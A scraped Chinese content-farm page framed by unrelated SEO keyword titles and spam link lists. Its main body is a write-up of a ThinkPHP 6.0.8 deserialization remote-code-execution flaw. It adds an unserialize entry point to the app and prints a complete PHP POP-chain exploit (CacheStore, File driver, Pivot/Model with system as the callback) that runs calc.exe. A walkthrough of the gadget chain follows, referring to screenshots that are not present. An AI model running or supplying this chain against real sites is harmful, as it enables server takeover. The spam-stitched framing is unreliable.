当前位置: 首页 > news >正文

城乡住房建设厅网站中国老区建设促进会网站

城乡住房建设厅网站,中国老区建设促进会网站,做企业官网还有必要吗,怎样做网站域名漏洞说明 1. 漏洞原理:ThinkPHP 6.0.8 CacheStore 会触发POP利用链子,造成任意命令执行 2. 组件描述: ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架 3. 影响版本:V6.0.8 漏洞复现 1. 环境安…

漏洞说明

1. 漏洞原理:ThinkPHP 6.0.8 CacheStore 会触发POP利用链子,造成任意命令执行

2. 组件描述: ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架

3. 影响版本:V6.0.8

漏洞复现

1. 环境安装:ThinkPHP6.0正式完整版下载_其他_技术博文_js代码

下载v6.0.8,使用命令php think run即环境起来了

访问127.0.0.1:8000

需要在源代码中加入一个入口

if(isset($_POST['data'])) {@unserialize($_POST['data']);
}
highlight_string(file_get_contents(__FILE__));

利用exp生成payload并打入data入口

<?phpnamespace League\Flysystem\Cached\Storage {abstract class AbstractCache{protected $autosave;public function __construct(){$this->autosave = false;}}
}namespace think\filesystem {use League\Flysystem\Cached\Storage\AbstractCache;use think\cache\driver\File;class CacheStore extends AbstractCache{protected $store;protected $expire;protected $key;public function __construct(){$this->store = new File();$this->expire = 1;$this->key = '1';}}echo urlencode(serialize(new CacheStore()));
}namespace think\cache {use think\model\Pivot;abstract class Driver{protected $options = ['expire' => 0,'cache_subdir' => true,'prefix' => '','path' => '','hash_type' => 'md5','data_compress' => false,'tag_prefix' => 'tag:','serialize' => ['system'],];public function __construct(){$this->options = ['expire' => 0,'cache_subdir' => true,'prefix' => '','path' => new Pivot(),'hash_type' => 'md5','data_compress' => false,'tag_prefix' => 'tag:','serialize' => ['system'],];}}
}namespace think\cache\driver {use think\cache\Driver;class File extends Driver{}
}namespace think {use think\model\concern\Attribute;abstract class Model{private $data = [];private $withAttr = [];public function __construct(){$this->data = ['errorr0' => 'calc.exe'];$this->visible = ["errorr0" => 1];$this->withAttr = ['errorr0' => 'system'];}}
}namespace think\model\concern {trait Attribute{}
}namespace think\model {use think\Model;class Pivot extends Model{}
}

漏洞分析

全局搜索找到CacheStore所在位置src/think/filesystem/CacheStore.php

找到它的父类AbstractCache,查看发现有__destruct()

步入save查看

跟进查看getForStorage()

没有发现可利用点,步出看save后面的

$this->store->set($this->key, $contents, $this->expire);

这里$this->store是可控的,所以可以调用任意含义set()函数的对象,这里调用src/think/cache/driver/File.php::set

跟进getExpireTime(),查看如下

没有可利用点,步出继续往下步入getCacheKey()查看

前面使用了hash()函数,第一个为hash类型的设置,如果为空或者设置有误则会报错,我们需要保证上面不截断的前提下执行下面return的步骤,return中$this->options['path']与$name进行了拼接,而$this->options['path']是可控的,如果实例化一个有__toString()魔术方法的对象,保证$name不报错,则可以搭成一个链,经过查找发现vendor\topthink\think-orm\src\model\concern\Conversion有__toString可以利用

步入toArray()查看情况

这里看到如果满足条件判断则可以执行getAttr(),步入查看

不出错就应该进入getData()

没什么特别的直接,看外层的getValue()

这里可以构造一个自定义函数以及利用data传参达到任意命令执行,而有个问题就是触发了漏洞怎么将他们链接起来?并且还有一个问题就是恶意payload如何传入,这里经过审计发现需要传入的恶意$data参数是vendor\topthink\think-orm\src\model\concern\Attribute中,而在vendor\topthink\think-orm\src\Model可控制$data,并且

Model复用了Conversion的内容,这样也可以触发__toString,最后构造就按照分析的将几个类复用再给几个类中特殊需要赋值即可,还有一个小问题就是如上图,Model是抽象类,因此我们需要自己手写一个子类继承即可。

Referer

tp6.0.8反序列化漏洞分析 - 网安

thinkphp6.0x反序列化复现及再挖掘-安全客 - 安全资讯平台

http://www.yayakq.cn/news/963121/

相关文章:

  • 京东网站建设策略免费建立属于自己的网站
  • 个人电脑搭建成网站服务器企业网站营销的实现方式解读
  • 用idea做html网站龙华网站建设推广
  • 网站手机端和电脑端安卓应用开发工具
  • 手机端做网站软件甘肃省住房和城乡建设部网站
  • 福建有没有网站做鞋子一件代发毕设做网站太简单
  • 网站建设课程设计心得体会重庆做网站哪家好
  • 四川绵阳网站建设网站带gov后缀
  • 找人做公司网站asp做网站策划书
  • 东莞cms建站模板衡阳市城市建设投资有限公司网站
  • 最全的网页模板网站物流跟踪网站建设
  • 专门网站建设北京百度推广优化公司
  • 怎么选择一家好的网站建设公司网上注册公司经营范围填不了
  • 织梦网站动态wordpress显示目录
  • 一站式 wordpress微网站建设代理商
  • 专业网站设计报价企业网站建设综合实训学习体会
  • 东莞模板建网站平台广州代做公司网站
  • 网站开发网站建设公司上海开发小程序
  • 网站插件代码大全酒店网站源码
  • 如何管理建好的网站蘑菇街网站服务
  • 电商网站 内容优化大钟寺网站建设
  • 网站页脚优化怎么做wordpress多站点分别部署
  • arcengine网站开发网站内容添加
  • 天津营销网站建设公司排名图案设计制作
  • 深喉咙企业网站帮助顺德网站建设渠道
  • 沧州有做网站的吗风溪商城是那个网站建设的
  • 外贸网站分类pc端和移动端的网站区别是什么
  • 常德网站建设 天维优秀品牌形象设计案例
  • 萍乡商城网站建设现在推广引流什么平台比较火
  • 国外logo设计网站推荐一键seo提交收录